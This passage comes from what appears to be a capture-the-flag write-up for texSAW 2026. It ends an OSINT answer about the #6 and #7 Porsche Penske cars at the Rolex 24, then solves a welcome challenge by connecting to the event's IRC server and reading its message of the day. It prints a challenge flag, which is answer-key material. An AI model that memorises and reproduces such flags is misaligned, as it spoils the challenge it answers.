runs the Rolex 24), “twinning” refers to teammate cars running in close
formation. During the 2026 season, the Porsche Penske
Motorsport team, running the Porsche 963 in the GTP class, was
famous for their identical “mirror” liveries and consistent pace that
often saw them running 1-2 on the track.
The two Porsche Penske cars are:
Car #6
Car #7
4. Verification
Looking at the race leaders during the night shift of the 2026 Rolex
24, the #6 and #7 Porsche 963s were indeed dominant. To distinguish them
at night, teams use colored LED “Lumirank” displays:
Car #7: Blue LED
Car #6: Red LED
The “twinning” behavior is a signature of the Penske Porsches as they
manage the gap and maintain the lead together.
Check out our IRC server and run the command /motd!
Server:irc.texsaw.org
Solution
To solve this challenge, we need to connect to the texSAW IRC server
and view the “Message of the Day” (MOTD), which is a common place for
CTF organizers to hide initial information or rules.
1. Install an IRC Client
1 2 3 4
# I use Arch BTW paru -S weechat # or paru -S irssi
2. Connect to the Server
Launch your client and add the TexSAW server to your configuration.
This makes it easier to reconnect later.
1 2 3
# Example using irssi /server add texsaw irc.texsaw.org /connect texsaw
3. Find the Flag
Once you’ve successfully connected, the server will usually send the
MOTD automatically. If you miss it, manually request it with the
following command:
1 2
/motd # texsaw{w31c0M3_t0_t3xSAW_2O26!}
Useful IRC Commands
While you’re on the server, you might want to join the discussion or
interact with other participants: